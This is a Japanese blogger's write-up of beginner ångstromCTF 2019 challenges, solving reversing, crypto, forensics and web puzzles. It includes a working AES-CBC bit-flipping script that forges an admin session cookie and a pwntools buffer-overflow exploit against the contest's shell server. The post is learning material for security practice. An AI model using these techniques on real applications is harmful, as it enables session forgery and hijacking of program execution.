好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

ångstromCTF 2019 write-up

Twitter見てるとなんか沢山参加している人がいそうだったので、高校生向けなのかなーと思って遠慮していた ångstromCTF に挑戦してみました。今回もぼっち参加です。

ångstromCTF 2019

f:id:kusuwada:20190425144628p:plain:w300

サイトがかっちょいい!
今回も低得点帯の問題ばかりになってしまいましたが、備忘録も兼ねてwrite-up書いておきます。
4月20日 9:00 JST ~ 25日 9:00 JST の丸5日間開催されていたようです。私が「やってみよう」と思ったのが 4月23日 だったので、実質2日ちょいの参加になりました。

戦績はこちら。

f:id:kusuwada:20190425150059p:plain

630pt, 237位 / 1374チーム (1問以上解いたチーム数) でした。

f:id:kusuwada:20190425150104p:plain

今までに比べてRevを頑張った一方、Webが残念な感じです。
面白い問題が多かったとのことで、もうちょっとWebに時間が割けると良かったなーと。皆さんのwrite-upみて復習します。

いろんな形で自分(チーム)のグラフを見せてくれるのも面白い。いつ頃始めて、どう得点を取っていったかがわかるグラフ。自分のだけではなく他のチームのも見れます。

f:id:kusuwada:20190425145133p:plain

手応えとしては高校生育成目的ということもあり、解ける問題もあって嬉しかったです。また、最近他CTFで使った手法や勉強した内容が出てきたものもあり、解けるとめっちゃ嬉しかったです!!
一方、いままでは「うん、わからーん(ノ`△´)ノ 」と投げる問題が多かったので、「あ、これ見たことあるやつだ!」とか「こうやったら解けそう(なんだけど何故か通らない or 根気がなくてできない)」という問題がちょいちょい出てきて、ちょっと成長を感じるとともに悔しい問題も多かったです。。。

そもそもこのボリューム、一人では全然見きれなかった。でもチーム参加だと自分では何も解けなかったに違いないので、今後チーム参加するかというとそれはそれで悩ましい。

[Reversing] Intro to Rev (10pt)

Many of our problems will require you to run Linux executable files (ELFs). This problem will help you figure out how to do it on our shell server. Use your credentials to log in, then navigate to /problems/2019/intro_to_rev. Run the executable and follow its instructions to get a flag!

Hint

ELF files are run using ./filename. You might also want to look into the cd and ls commands if you aren't familiar with Linux.

shellにログインし、指定のpathに移動、実行ファイルを実行する。

$ cd /problems/2019/intro_to_rev
team4639@actf:/problems/2019/intro_to_rev$ ls
flag.txt  intro_to_rev
team4639@actf:/problems/2019/intro_to_rev$ ./intro_to_rev
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

To get the flag for this problem, run this file again with the arguments 'binary' and 'reversing' (don't put the quotes).

ということで、引数に binary, reversing を入れて再実行。

 ./intro_to_rev binary reversing
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

Good job, now go solve some real problems!
actf{this_is_only_the_beginning}

[Reversing] I Like It (40pt)

Now I like dollars, I like diamonds, I like ints, I like strings. Make Cardi like it please.

/problems/2019/i_like_it

Hint

Pop open a dissassembler or decompiler and check out the comparisons.

提供される実行ファイルを実行してみます。

$ ./i_like_it
I like the string that I'm thinking of:

何を考えているのか答えろ、だそうです。
radare2で解析。main関数にこのときの入力をチェックする箇所がありました。

|           0x004007ff      bea1094000     mov esi, str.okrrrrrrr      ; 0x4009a1 ; "okrrrrrrr"
|           0x00400804      4889c7         mov rdi, rax
|           0x00400807      e864feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|           0x0040080c      85c0           test eax, eax
|       ,=< 0x0040080e      7414           je 0x400824

最初の問に対しては、直接文字列比較をしているので okrrrrrrr が答え。
コレを入力すると、次の問 I like two integers that I'm thinking of (space separated): が聞かれる。この部分の処理については下記を参照。

|           0x0040086e      8b55c8         mov edx, dword [local_38h]
|           0x00400871      8b45cc         mov eax, dword [local_34h]
|           0x00400874      01d0           add eax, edx
|           0x00400876      3d88000000     cmp eax, 0x88               ; 136
|       ,=< 0x0040087b      751a           jne 0x400897
|       |   0x0040087d      8b55c8         mov edx, dword [local_38h]
|       |   0x00400880      8b45cc         mov eax, dword [local_34h]
|       |   0x00400883      0fafc2         imul eax, edx
|       |   0x00400886      3dc70e0000     cmp eax, 0xec7              ; 3783
|      ,==< 0x0040088b      750a           jne 0x400897

上記を解読すると、下記連立方程式を満たすような a,b の組み合わせが答え。

  • a + b = 136
  • a * b = 3783

3783 = 3 * 13 * 97 なので、 a, b = 39, 97
これらを入力すると、flagが出ました。

$ ./i_like_it
I like the string that I'm thinking of:
okrrrrrrr
I said I like it like that!
I like two integers that I'm thinking of (space separated):
39 97
I said I like it like that!
Flag: actf{okrrrrrrr_39_97}

[Reversing] One Bite (60pt)

Whenever I have friends over, I love to brag about things that I can eat in a single bite. Can you give this program a tasty flag that fits the bill?

/problems/2019/one_bite

Hint

What else can be done with a single bite?

まずは提供されたバイナリを動かしてみます。

./one_bite 
Give me a flag to eat: 
cookie
That didn't taste so good :(

クッキーはお気に召さない様子。
radare2でアセンブラを確認します。main関数の大事そうなところだけ。

|           0x004006e2      e899feffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x004006e7      c745b4000000.  mov dword [local_4ch], 0
|       ,=< 0x004006ee      eb1c           jmp 0x40070c
|      .--> 0x004006f0      8b45b4         mov eax, dword [local_4ch]
|      :|   0x004006f3      4898           cdqe
|      :|   0x004006f5      0fb64405c0     movzx eax, byte [local_40h + rax]
|      :|   0x004006fa      83f03c         xor eax, 0x3c
|      :|   0x004006fd      89c2           mov edx, eax
|      :|   0x004006ff      8b45b4         mov eax, dword [local_4ch]
|      :|   0x00400702      4898           cdqe
|      :|   0x00400704      885405c0       mov byte [rbp + rax - 0x40], dl
|      :|   0x00400708      8345b401       add dword [local_4ch], 1
|      :|   ; CODE XREF from main (0x4006ee)
|      :`-> 0x0040070c      8b45b4         mov eax, dword [local_4ch]
|      :    0x0040070f      4863d8         movsxd rbx, eax
|      :    0x00400712      488d45c0       lea rax, qword [local_40h]
|      :    0x00400716      4889c7         mov rdi, rax
|      :    0x00400719      e832feffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|      :    0x0040071e      4839c3         cmp rbx, rax
|      `==< 0x00400721      72cd           jb 0x4006f0
|           0x00400723      48c745b82008.  mov qword [local_48h], str.HZGUcHTURWcUQc_SUR_cHSc_YcOU_WA ; 0x400820 ; "]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA"
|           0x0040072b      488b55b8       mov rdx, qword [local_48h]
|           0x0040072f      488d45c0       lea rax, qword [local_40h]
|           0x00400733      4889d6         mov rsi, rdx
|           0x00400736      4889c7         mov rdi, rax
|           0x00400739      e852feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|           0x0040073e      85c0           test eax, eax
|       ,=< 0x00400740      750c           jne 0x40074e

どうやら入力値を 0x3c と一文字ずつxorして、最終的に ]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA と一致すれば良さそう。

#!/usr/bin/env python3

word = ']_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA'
xor_code = 0x3c

flag = b''
for w in word:
    flag += bytes([ord(w) ^ xor_code])
print(flag)

実行結果

$ python solve.py 
b'actf{i_think_im_going_to_be_sick}'

[Misc] Survey (10pt)

We have a short survey for you to fill out for a flag! Even though it's a single challenge, we encourage every individual to submit a response.

リンク先に飛ぶと、アンケートが。回答するとFlagが貰えました。

f:id:kusuwada:20190425151135p:plain

[Misc] The Mueller Report (20pt)

The redacted version of the Mueller report was finally released this week! There's some pretty funny stuff in there, but maybe the report has more beneath the surface.

Hint

You won't be able to use Ctrl+F to find this Russian secret, try some command line functions related to strings and searches instead.

DLできるファイルは full-mueller-report .pdf。1.6MBもある。Hintにstringsコマンドで行けるっぽいことが書いてあるので、そのまま実行。

$ strings full-mueller-report.pdf | grep actf{
actf{no0o0o0_col1l1l1luuuusiioooon}

[Misc] IRC (20pt)

We have an IRC channel, #angstromctf on freenode! Join us to ask questions, have fun, and get a flag.

IRCへのリンクがあるので、たどって #angstromctf チャネルにログイン。ログインすると、pinしてあるっぽいchannelの説明にflagが。

f:id:kusuwada:20190425151213p:plain

[Misc] Blank Paper (30pt)

Someone scrubbed defund's paper too hard, and a few of the bytes fell off.

DLできるのは壊れたpdf。問題文によるとこすりすぎてbyteがちょっと落ちてるらしいので、修復する必要がある。
バイナリを見てフォーマットを確認して・・・というのが良さそうだけども、解けている人が多かったのでWebのPDF修復ツールかなんかでできるのではないかとググったらあった。

オンラインでPDFファイルを修復。PDF修復の無料ツール

ここにDLした壊れたファイルを投げると修復してくれ、PDFが見えるように。PDF内にFlagがありました。

f:id:kusuwada:20190425151244p:plain

[Misc] Paper Bin (40pt)

defund accidentally deleted all of his math papers! Help recover them from his computer's raw data.

Hint

File carving

DLするのは paper_bin.dat

$ file paper_bin.dat 
paper_bin.dat: data

これ7MBもある。
Hintの File carving でググった所、Forensic関係の用語であることがわかった。

File carving - Wikipedia

コレ関連でツールを探すと、scalpelというのが使えそう。なんとkali linuxには標準装備で入っていたため、kaliで使ってみる。
まずはconfig (/etc/scalpel/scalpel.conf) をいじって、可能性の有りそうなファイルフォーマットのコメントアウトを外し、解析対象とします。今回は画像系とdoc, pdfあたりを外しておきました。
事前に strings paper_bin.dat | grep {拡張子} みたいな感じで探しておいて引っかかったのを対象にしても良いかもしれません。

$ scalpel paper_bin.dat -o output

処理が終わると、pdfファイルが20個対象で抽出されました。何かの論文っぽいものが多かったのですが、一つだけファイルが壊れてて見られないものがあり。コレをさっきの Blank Paper のときのサイトに投げると修復してくれ、こちらもPDF中にFalgがありました。

f:id:kusuwada:20190425151303p:plain

[Misc] Paper Trail (50pt)

Something is suspicious about defund's math papers. See if you can find anything in the network packets we've intercepted from his computer.

今度はpcapファイルがDLできる。paper_trail.pcapng
Wiresharkで開いて中身を確認してみる。幸い、75行しかありません。見てみると、IRCプロトコルのmessageに何やら毎回メッセージがplain textで書かれているようなので、pcapファイルをそのままstringコマンドで見てみます。

$ strings paper_trail.pcapng | grep ec2-18-209-123-192.compute-1.amazonaws.com
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :I have to confide in someone, even if it's myself
F:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :my publications are all randomly generated :(
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :c
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :t
Z:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :f
*:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :{
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :f
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :k
R:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :e
!:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :_
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :m
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :t
a:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :h
1:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :_
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :p
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :p
$,q:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :e
$4B:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :r
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :s
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :}

縦読みするとflag。actf{fake_math_papers}

[Web] Control You (20pt)

Only those who give us the flag are exempt from our control.

Hint

Your browser executes code when you're viewing a web page. Is it possible to see that code?

リンク先に飛んでみると、やばいページ出てきた.

f:id:kusuwada:20190425151411p:plain

この背景、うねうね動いてる。目と脳に悪すぎる…。催眠術とか言ってるし。胎教にもすこぶる悪そう。
このサイトのソースを見てみると、function_stop()にflagが。

<!DOCTYPE html>
<html>
<head>
   <title>Hypnotization</title>
</head>
<body style="background: url(https://66.media.tumblr.com/15d3f53cb56f04dba66dfd53aed24b7f/tumblr_o87xi4XjVB1twd8ddo1_400.gif);">
    <div style="text-align: center; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: red; font-family: 'Comic Sans MS', sans-serif;">
        <h1 style="background-color: blue;">Hypnotization in progress...</h1>
        <h2 style="color: green; background-color: yellow;">To stop hypnotization enter the flag below:</h2>
        <input type="password" id="flag" style="font-size: 3em;"><br>
        <button type="button" onclick="stop()" style="background: blue; border: 0.5em solid red; font-size: 2em; font-family: 'Comic Sans MS', sans-serif; margin-top: 1em; cursor: pointer;">Stop Hypnotization</button>
    </div>
    <script>
   function stop() {
       if (flag.value === "actf{control_u_so_we_can't_control_you}") {
           document.body.style.background = "red";
       }
   }
   </script>
</body>
</html>

ちゃんとサイトにフラグ入れたら止まった。良かったよかった。

[Crypto] Classy Cipher (20pt)

Every CTF starts off with a Caesar cipher, but we're more classy.

DLできるスクリプトclassy_cipher.py

from secret import flag, shift

def encrypt(d, s):
    e = ''
    for c in d:
        e += chr((ord(c)+s) % 0xff)
    return e

assert encrypt(flag, shift) == ':<M?TLH8<A:KFBG@V'

これはシフト暗号。シフト暗号の結果が :<M?TLH8<A:KFBG@V
シフトの数が不明ですが、たかだか256個なので256個分全部ずらしてみてflagが出るか確認。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

cipher = ':<M?TLH8<A:KFBG@V'

def decrypt(d, s):
    e = ''
    for c in d:
        e += chr((ord(c)+s) % 0xff)
    return e

for shift in range(0xff):
    plain = ''
    for c in cipher:
        plain += decrypt(c, shift)
    if 'actf{' in plain:
        print(plain)
        break

実行結果

$ python solve.py 
actf{so_charming}

[Crypto] Really Secure Algorithm (30pt)

I found this flag somewhere when I was taking a walk, but it seems to have been encrypted with this Really Secure Algorithm!

Hint

Now that I think about it, that's probably not what RSA stands for...

提供されるファイルは以下 really_secure_algorithm.txt

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349

典型的なRSA暗号の条件が与えられている。

n = p * q
d = inverse(e, (p-1)*(q-1))
plain = pow(c, d, n)

で求められるので、平文もこの条件から求まる。

#!/usr/bin/env python3

from Crypto.Util.number import inverse

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349

n = p * q
d = inverse(e, (p-1)*(q-1))

plain = pow(c, d, n)
flag = bytes.fromhex(hex(plain)[2:]).decode('ascii')
print(flag)

実行結果

$ python solve.py 
actf{really_securent_algorithm}

[Crypto] Half and Half (50pt)

Mm, coffee. Best served with half and half!

提供されるファイルは以下。half_and_half.py

from secret import flag

def xor(x, y):
    o = ''
    for i in range(len(x)):
        o += chr(ord(x[i])^ord(y[i]))
    return o

assert len(flag) % 2 == 0

half = len(flag)//2
milk = flag[:half]
cream = flag[half:]

assert xor(milk, cream) == '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'

偶数文字数の平文(flag)に対して、前半(milk)と後半(cream)にわけ、milkとcreamのxorをとったものが暗号文。
パット見求まらなさそうだけども、flagのフォーマットは actf{******} であること、暗号文の長さからflagは24文字であることが推測できるので、半分求まりそう。

#!/usr/bin/env python3

cipher = b'\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'
# flag = b'actf{******************}'
milk = b'actf{******}'
cream = b''

# !! cipherが12文字ってことは、flagは24文字じゃん!

for i in range(len(cipher)):
    cream += bytes([milk[i]^cipher[i]])
print(cream)
flag = milk[:11] + bytes([cream[11]]) + cream[:11] + bytes([milk[11]])
print(flag)

実行結果

$ python solve.py 
b'actf{******_taste:\x1a+# +}'

ふーむ。この中で確実な部分は actf{******_taste******}。問題文と不明な部分の文字数からエスパーして、前半にcoffeeを当てはめて再度スクリプトを実行してみると・・・

$ python solve.py 
b'actf{coffee_tastes_good}'

うむ。これっぽい。この方法が合っている気はあまりしないが、とりあえずflagは出た。

[Crypto] Runes (70pt)

The year is 20XX. ångstromCTF only has pwn challenges, and the winner is solely determined by who can establish a socket connection first. In the data remnants of an ancient hard disk, we've recovered a string of letters and digits. The only clue is the etching on the disk's surface: Paillier.

提供されるのは runes.txt

n: 99157116611790833573985267443453374677300242114595736901854871276546481648883
g: 99157116611790833573985267443453374677300242114595736901854871276546481648884
c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869

問題文の最後の謎の文字列 Paillier を検索してみると、 Paillier暗号、というのが存在するらしい。
Paillier暗号 - Wikipedia

Paillier暗号とは Pascal Paillier が1999年に提案した公開鍵暗号方式で、m1 の暗号文と m2 の暗号文から m1 + m2 の暗号文を計算出来る(加法準同型性)という性質を満たす。 RSA暗号ElGamal暗号など、m1 の暗号文と m2 の暗号文から積 m1m2 の暗号文を計算できる(乗法準同型性)方式は数多いが、加法準同型性を満たす方式はPaillier暗号などごく少数しか知られていない。

まずは n を素因数分解しておきます。今回も msieve ライブラリを使用しました。

$ ./msieve -q -v -e 99157116611790833573985267443453374677300242114595736901854871276546481648883
(中略)
p39 factor: 310013024566643256138761337388255591613
p39 factor: 319848228152346890121384041219876391791
elapsed time 00:02:26

ということで p, q が計算できました。
あとは、以下のページで紹介されていた検証コードを書き換えて、与えられた条件から平文を復号します。

公開鍵暗号 Paillier暗号の勉強 - ぺんぎんさんのおうち

#!/usr/bin/env python3
# this code has the following in reference.
#   https://ykm11.hatenablog.com/entry/2018/10/19/205950

import math

n = 99157116611790833573985267443453374677300242114595736901854871276546481648883
g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869
p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g1, y, x = egcd(b % a, a)
        return (g1, x - (b // a) * y, y)

def modinv(a, m):
    g1, x, y = egcd(a, m)
    if g1 != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def L(u):
    return (u-1)//n

def LMD(p, q): # p and q are respectively prime
    g = math.gcd(p-1, q-1)
    return (p-1)*(q-1)//g

def dec(c):
    s = L(pow(c, LMD(p, q), n**2))
    t = L(pow(g, LMD(p, q), n**2))
    return s * modinv(t, n) % n

# main
assert p*q == n
plain = dec(c)
flag = bytes.fromhex(hex(plain)[2:]).decode('ascii')
print('flag: ' + flag)

実行結果

$ python solve.py 
flag: actf{crypto_lives}

[Crypto] Secret Sheep Society (120pt)

The sheep are up to no good. They have a web portal for their secret society, which we have the source for. It seems fairly easy to join the organization, but climbing up its ranks is a different story.

リンク先のサイトはこんな感じ。羊可愛い。

f:id:kusuwada:20190425151706p:plain

適当なusernameでログインするとこんなページが出てきます。

f:id:kusuwada:20190425151753p:plain

DLできるzipファイルを解凍するとこんな感じ。

$ tree -L 2 secret_sheep_society
secret_sheep_society
├── __init__.py
├── app.py
├── manager.py
└── templates
    └── index.html

htmlの方を見てみると、app.pyの [POST] /enter で設定する session

session = {
    'admin': False,
    'handle': handle
}

admin が True だとFlagを表示してくれるみたいです。
でこのsessionですが、上記の通り admin は handle に関わらず(handle = adminにしても)、必ずFalseが設定されるので、ここを無理やり True に書き換えてやる必要があります。

sessionは Manager.unpack(tokne) で得られるそうなので、 manager.py を見てみると、AESのCBCモードが使われています。ちなみに token は cookie に保存されているので取り出し可能です。

AES, CBC, 平文のフラグ反転… なんかこれもやったばかりの気がします…!
まだ write-up 上げていませんが、 picoCTF2018の Secire Logon。このときのコードをベースに書いてみました。

CBCモードの性質上、復号は ciphertext xor iv から始まり、暗号文の先頭ブロックから処理されていきます。そして暗号文・もしくはivをビット反転すると、復号時にその反転は平文に伝播します。
参考:暗号利用モード - Wikipedia

これらの条件から、暗号文にくっついてきている iv を書き換えることで、平文の admin: falseadmin: true に書き換えることができそうです!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import base64

sample_token = 'VWDOK8Y9LVWUhh6MHcQdaybS6/As8YmpxgrearRPWtNCFtYnWzK0VB40txh5J9Cj'
flip_start_index = 10
# sample_json = {"admin": false, "handle": ""}
# attack_json = {"admin": true,  "handle": ""}
before = 'false,'
after  = 'true, '

decoded_token = base64.b64decode(sample_token)
flipped = []
for i in range(len(before)):
    flipped.append(bytes([decoded_token[flip_start_index+i] ^ ord(before[i]) ^ ord(after[i])]))
flipped_arr = []
for i in range(len(decoded_token)):
    if i < flip_start_index or i >= flip_start_index+len(before):
        flipped_arr.append(bytes([decoded_token[i]]))
    else:
        flipped_arr.append(flipped[i-(flip_start_index)])

実行結果

$ python solve.py 
b'flipped_token: VWDOK8Y9LVWUhgyfBNJUZybS6/As8YmpxgrearRPWtNCFtYnWzK0VB40txh5J9Cj'

この書き換え後の token を cookie にセットし直して / のページをリロードするとflagが取れました!٩(๑❛ᴗ❛๑)۶ 

f:id:kusuwada:20190425151812p:plain

[Binary] Aquarium (50pt)

Here's a nice little program that helps you manage your fish tank.

Run it on the shell server at /problems/2019/aquarium/ or connect with nc shell.actf.co 19305.

Hint

What does the gets function do?

提供されるのは実行ファイルとソース。指定のshell server上にはflag.txtが存在するので、flagをgetするにはlocalではなくshell server上か、nc で接続して実行する必要がありそう。

aquarium.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
    system("/bin/cat flag.txt");
}

struct fish_tank {
    char name[50];
    int fish;
    int fish_size;
    int water;
    int width;
    int length;
    int height;
};


struct fish_tank create_aquarium() {
    struct fish_tank tank;

    printf("Enter the number of fish in your fish tank: ");
    scanf("%d", &tank.fish);
    getchar();

    printf("Enter the size of the fish in your fish tank: ");
    scanf("%d", &tank.fish_size);
    getchar();

    printf("Enter the amount of water in your fish tank: ");
    scanf("%d", &tank.water);
    getchar();

    printf("Enter the width of your fish tank: ");
    scanf("%d", &tank.width);
    getchar();

    printf("Enter the length of your fish tank: ");
    scanf("%d", &tank.length);
    getchar();

    printf("Enter the height of your fish tank: ");
    scanf("%d", &tank.height);
    getchar();

    printf("Enter the name of your fish tank: ");
    char name[50];
    gets(name);

    strcpy(name, tank.name);
    return tank;
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    struct fish_tank tank;

    tank = create_aquarium();

    if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
        printf("Your fish tank has overflowed!\n");
        return 1;
    }

    printf("Nice fish tank you have there.\n");

    return 0;
}

ソースを見た所、falg()関数をcallする必要があるが、どこからも呼ばれていない。どこかでflag関数のアドレスに飛ばしてやる必要がありそう。

ひとまず動作を確認してみます。

$ ./aquarium 
Enter the number of fish in your fish tank: 10
Enter the size of the fish in your fish tank: 20
Enter the amount of water in your fish tank: 50000000
Enter the width of your fish tank: 30
Enter the length of your fish tank: 20
Enter the height of your fish tank: 40
Enter the name of your fish tank: fishtank
Your fish tank has overflowed!

入力する箇所が沢山。そして最後の条件チェックで水が溢れてしまいました。

今回BufferOverflowの脆弱性が、最後の水槽の名前の入力でありそうです。buffer size が 50 に対して、strcpyを行っています。

まずは関数のアドレス確認。今回もradare2使ってます。

[0x0040139f]> afl
0x00401030    1 6            sym.imp.strcpy
0x00401040    1 6            sym.imp.puts
0x00401050    1 6            sym.imp.setresgid
0x00401060    1 6            sym.imp.system
0x00401070    1 6            sym.imp.printf
0x00401080    1 6            sym.imp.getchar
0x00401090    1 6            sym.imp.gets
0x004010a0    1 6            sym.imp.getegid
0x004010b0    1 6            sym.imp.setvbuf
0x004010c0    1 6            sym.imp.__isoc99_scanf
0x00401110    4 33           sym.deregister_tm_clones
0x00401140    4 57   -> 51   sym.register_tm_clones
0x004011b6    1 19           sym.flag
0x004011c9    1 470          sym.create_aquarium
0x0040139f    4 193          main

目的の sym.flag は 0x004011b6 ですね。
文字列入力部分は sym.create_aquarium 関数。name部分の入力bufferを見てみると

|           0x00401313      e858fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00401318      488d8570ffff.  lea rax, qword [local_90h]

ということで local_90h => rbp-0x90 に格納されるようです。
ここに関数の戻りアドレスなどのbufferを足して 0x98 を適当な値で埋め、flag関数のアドレスを送りつけます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'shell.actf.co'
port = 19305
flag_addr = 0x004011b6
buffer = 0x98

def send_attack_name(attack):
    r = remote(host, port)
    print(r.recvuntil(b'Enter the number of fish in your fish tank: '))
    r.sendline(b'1')
    print(r.recvuntil(b'Enter the size of the fish in your fish tank: '))
    r.sendline(b'1')
    print(r.recvuntil(b'Enter the amount of water in your fish tank: '))
    r.sendline(b'1')
    print(r.recvuntil(b'Enter the width of your fish tank: '))
    r.sendline(b'10')
    print(r.recvuntil(b'Enter the length of your fish tank: '))
    r.sendline(b'10')
    print(r.recvuntil(b'Enter the height of your fish tank: '))
    r.sendline(b'10')
    print(r.recvuntil(b'Enter the name of your fish tank: '))
    r.sendline(attack)
    res = r.recvall()
    print(res)
    r.close()
    if b'actf{' in res:
        return True
    return False

attack = b'a'*buffer + p32(flag_addr)
print(attack)
send_attack_name(attack)

実行結果

$ python solve.py 
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb6\x11@\x00'
[+] Opening connection to shell.actf.co on port 19305: Done
b'Enter the number of fish in your fish tank: '
b'Enter the size of the fish in your fish tank: '
b'Enter the amount of water in your fish tank: '
b'Enter the width of your fish tank: '
b'Enter the length of your fish tank: '
b'Enter the height of your fish tank: '
b'Enter the name of your fish tank: '
[+] Recieving all data: Done (77B)
[*] Closed connection to shell.actf.co port 19305
b'actf{overflowed_more_than_just_a_fish_tank}\nSegmentation fault (core dumped)\n'

感想

高校生ってこんな難しいことしてるんだなー!私が高校生の時は絶対1問も解けなかったぞ!というかプログラム触ったこともなかったぞ!PCでやることと言えばゲーム(TRPG)だったぞ!すごい!

個人的には、[Crypto] Secret Sheep Society (120pt) が、picoCTF 2018 でやったばかりの問題の応用だったので、これが解けたのがめっちゃ嬉しかった(๑•̀ㅂ•́)و✧

逆に、[Binary] Chain of Rope (80pt), [Binary] Pie Shop (100pt), [Binary] Purchases (120pt) あたり(全部 Binary だ・・・)あたりは、最近やったのが使えそうと思いつつ応用力が足りずflagにたどり着けなかったのが残念でした。

あとは、初のLisp ([Misc] Lithp (60pt)) だったのですが、わからないなりに頑張って調べてpython化してみたけど結局flagにはたどり着かず。こちらも残念。Lisp実行環境を揃えてやったほうが早かったかも。しかしLisp読み辛…。括弧の数とか数えられんし!アセンブラと同じくらいわからん。

サイトがちょくちょく落ちていたようですが、私の活動時間が皆さんとずれまくっていたおかげ(?)で一度も遭遇しませんでした。これはラッキー。
しかし私も軽いBF回してたし(回せという問題が確かあったはず)、CTFのインフラ運用大変そうな話をちょくちょくTLで見かけるので、大会のインフラ面の運用どうやってるのかは気になる。

何にせよ、私は今回面白く勉強になる問題が多かったです!運営の皆さん、参加者の皆さんお疲れ様でした!
I enjoy this event and challenges! Thank you very much for your administration.